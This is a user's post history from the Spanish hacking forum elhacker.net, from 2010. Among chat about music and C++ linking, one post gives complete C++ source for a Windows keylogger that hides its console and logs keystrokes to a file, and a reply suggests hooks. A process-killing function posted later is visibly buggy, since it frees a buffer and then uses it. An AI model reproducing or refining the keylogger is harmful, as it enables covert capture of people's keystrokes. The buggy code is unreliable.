elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Mensajes
Páginas: 1 2 3 4 [5] 6
41  Foros Generales / Foro Libre / Re: Canción "Drum n' bass", ¿que opinan? en: 1 Junio 2010, 12:52 pm
Mientras mantengas el ritmo de "tupa tu tu tupa" es d&B xD

No me ha gustado el ultimo cd de Pendulum, el Immersion...

Si os mola el jungle: Subfocus, TC, ShyFX, Dj Hype.....
42  Programación / Programación C/C++ / Re: Keylogger en C++ en: 1 Junio 2010, 00:08 am
Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?

Mmmm....si, he encontrado este proyecto por internet, por si te interesa:
http://sourceforge.net/projects/lkl/



Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)
43  Programación / Programación C/C++ / Re: ayuda creación de librería estática en c++ en: 31 Mayo 2010, 03:07 am
La definicion no deberia ser en un .cpp, en el que incluyes el .h? Digo yo  :xD

Saludos...
que yo sepa, cuando se compila el .cpp que tiene la definición se pasa a .o en el caso de min gw.

queda
libro.h
libro.o
pero bueno, por si acaso en un rato cuando la haga de nuevo pruevo.
gracias y saludos!
edito:
será el  próximo  miércoles, me acaba de llegar un correo con tarea para la escuela :huh:
saludos

En el archivo donde uses los metodos enlazas el archivo.h o en su caso si es c++ .hpp. Compilar solo se compilan los .cpp que luego al obtener el .o (fichero objeto) los enlazas con los otros ficheros objeto de las otras clases.

Acerca de tu pregunta de porque no te funciona el codigo, yo creo que tiene razon El_nuevo_HH. Tienes que poner el nombre del fichero headers entre comillas dobles.

44  Programación / Programación C/C++ / Re: Keylogger en C++ en: 29 Mayo 2010, 21:57 pm
Citar
Hay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.

Con una sola llamada? y entonces como lo tratas para cada boton del teclado?



Es mejor utilizar hooks, te ahorras mucho código y va mejor  ;)

Saludos  :P

Que es esto de los hooks???, lo he leído por el foro. Pero no lo entiendo.
45  Programación / Programación General / Re: ¿Qué lenguajes de programación usas? en: 29 Mayo 2010, 14:17 pm
C++,Java,PHP
46  Programación / Programación C/C++ / Keylogger en C++ en: 29 Mayo 2010, 14:07 pm
Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos :).
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

Código
  1. #include <iostream>
  2. #include <windows.h>
  3. using namespace std;
  4.  
  5.  
  6. char keys() {
  7. char c = '/';
  8. if (GetAsyncKeyState('A')) c = 'A';
  9. else if (GetAsyncKeyState('B')) c = 'B';
  10. else if (GetAsyncKeyState('C')) c = 'C';
  11. else if (GetAsyncKeyState('D')) c = 'D';
  12. else if (GetAsyncKeyState('E')) c = 'E';
  13. else if (GetAsyncKeyState('F')) c = 'F';
  14. else if (GetAsyncKeyState('G')) c = 'G';
  15. else if (GetAsyncKeyState('H')) c = 'H';
  16. else if (GetAsyncKeyState('I')) c = 'I';
  17. else if (GetAsyncKeyState('J')) c = 'J';
  18. else if (GetAsyncKeyState('K')) c = 'K';
  19. else if (GetAsyncKeyState('L')) c = 'L';
  20. else if (GetAsyncKeyState('M')) c = 'M';
  21. else if (GetAsyncKeyState('N')) c = 'N';
  22. else if (GetAsyncKeyState('O')) c = 'O';
  23. else if (GetAsyncKeyState('P')) c = 'P';
  24. else if (GetAsyncKeyState('Q')) c = 'Q';
  25. else if (GetAsyncKeyState('R')) c = 'R';
  26. else if (GetAsyncKeyState('S')) c = 'S';
  27. else if (GetAsyncKeyState('T')) c = 'T';
  28. else if (GetAsyncKeyState('U')) c = 'U';
  29. else if (GetAsyncKeyState('V')) c = 'V';
  30. else if (GetAsyncKeyState('W')) c = 'W';
  31. else if (GetAsyncKeyState('X')) c = 'X';
  32. else if (GetAsyncKeyState('Y')) c = 'Y';
  33. else if (GetAsyncKeyState('Z')) c = 'Z';
  34. else if (GetAsyncKeyState('1')) c = '1';
  35. else if (GetAsyncKeyState('2')) c = '2';
  36. else if (GetAsyncKeyState('3')) c = '3';
  37. else if (GetAsyncKeyState('4')) c = '4';
  38. else if (GetAsyncKeyState('5')) c = '5';
  39. else if (GetAsyncKeyState('6')) c = '6';
  40. else if (GetAsyncKeyState('7')) c = '7';
  41. else if (GetAsyncKeyState('8')) c = '8';
  42. else if (GetAsyncKeyState('9')) c = '9';
  43. else if (GetAsyncKeyState('0')) c = '0';
  44. else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
  45. else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
  46. else if (GetAsyncKeyState(VK_BACK)) c = ' ';
  47. return c;
  48. }
  49.  
  50. int main() {
  51. FreeConsole(); //Esconde el terminal
  52. FILE *f;
  53. f = fopen("file.txt","w"); //Crea i abre un archivo
  54. char c = ' ';
  55. while(c != 0x1B) {
  56. c = keys();
  57. if (c != '/') {
  58. fprintf( f , "%c",c); //Escribe el caracter en el archivo
  59. //cout << c;
  60. }
  61. Sleep(120); //Interrumpe el programa durante 120 milisegundos
  62. }
  63. fclose(f);
  64. AllocConsole(); //Muestra el terminal
  65. cout << "FIN DE PROGRAMA :)" << endl;
  66. }

Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!!  :D
47  Foros Generales / Foro Libre / Re: "Great Firewall", la sensura llevada al extremo. en: 5 Mayo 2010, 01:57 am
Eso hace años que funciona y hace años que la gente se lo pasa por el forro con un simple proxy.


Pues que quieres que te diga, tengo un amiga trabajando en la expo de shangai, y como tiene que estar 8 meses viviendo allí, me pidio que le buscase alguna manera de conectarte al facebook y otras paginas web.


Le hice provar proxies, programas como Tor, de todo, pero no funciono. Al final lo solucioné conectandose mediante VPN.

Saludos!
48  Seguridad Informática / Hacking / Manual Informatica Basica - Interprete de comandos en: 17 Marzo 2010, 21:39 pm
Hola,

Este es el primero de una serie de tutoriales de informatica y hacking. Este precisamente es muy basico, explica el concepto de shell y los comandos mas usuales, espero que la gente principiante le ayude.

Pongan sus comentarios, haber que les ha parecido.

A, el link de descarga:

http://www.mediafire.com/?iizrnnoriez


El proximo que haré se titulara: "Obtencion de shell remota a traves de ssh"


Muchas gracias ;)



EDITO: :S, esto iria a hacking basico no? como meto la pata :(
49  Seguridad Informática / Hacking Wireless / Re: Nuevas Wlanxxxx (con 4 dígitos) en: 13 Marzo 2010, 16:36 pm
Si estan en wpa, porque no buscais diccionarios para WLAN_XXXX ????? Seguro que hay algunos googleando un poco.



Saludos!
50  Seguridad Informática / Seguridad / Re: Creación de vacunas en C/C++ en: 11 Marzo 2010, 21:10 pm
Llevo peleandome varios dias con esta función. No me compilaba, y gracias a la ayuda de Eternal Idol, he podido hacer almenos que compile.

Código
  1. int KillProcess(LPCTSTR lpfilename){    
  2. //WIN32_FIND_DATA Win32FindData;   <-- No se usa ¿?  
  3. HANDLE handle;    
  4. DWORD exitcode;    
  5. PROCESSENTRY32 pe32;    
  6. handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    
  7. if(handle == INVALID_HANDLE_VALUE) return ERROR_LLISTA;                  
  8. pe32.dwSize = sizeof(PROCESSENTRY32);    
  9. if(!Process32First(handle, &pe32))     {          
  10. CloseHandle(handle);          
  11. return ERROR_PROCES;
  12. }
  13.             //TROZO CAMBIADO-------------------------------------------------------------------------------------------------------
  14. int tam = wcslen(lpfilename);
  15. wchar_t *lpfilename2 = new wchar_t[tam + 1];
  16. wcscpy(lpfilename2, lpfilename);
  17. delete[] lpfilename2;
  18.             //-------------------------------------------------------------------------------------------------------------------------
  19. for(int i = 0; pe32.szExeFile[i] != '\0'; i++) pe32.szExeFile[i] = toupper(pe32.szExeFile[i]);    
  20. for(int i = 0; lpfilename2[i] != '\0'; i++) lpfilename2[i] = toupper(lpfilename2[i]);    
  21. while(wcscmp(pe32.szExeFile,lpfilename2))     {                                              
  22. if(!Process32Next(handle, &pe32))           {                  
  23. CloseHandle(handle);                  
  24. return ERROR_PROCES;
  25. }          
  26. for(i = 0; pe32.szExeFile[i] != '\0'; i++) pe32.szExeFile[i] = toupper(pe32.szExeFile[i]);
  27. }    
  28. handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);      
  29. if(handle == NULL)      {              
  30. CloseHandle(handle);              
  31. return ERROR_PROCES;
  32. }    
  33. else  {          
  34. GetExitCodeProcess(handle, &exitcode);          
  35. TerminateProcess(handle, exitcode);          
  36. CloseHandle(handle);          
  37. return 0;    
  38. }
  39. }

La pruebo con calc.exe per me tira un error de proceso. Tengo varia preguntas. Primero, hay una variable que no se usa. Luego PROCESSENTRY32 pe32;  que es? y la ultima, vara obtener el exitcode de un proceso, primero hay que abrir el proceso??
Páginas: 1 2 3 4 [5] 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines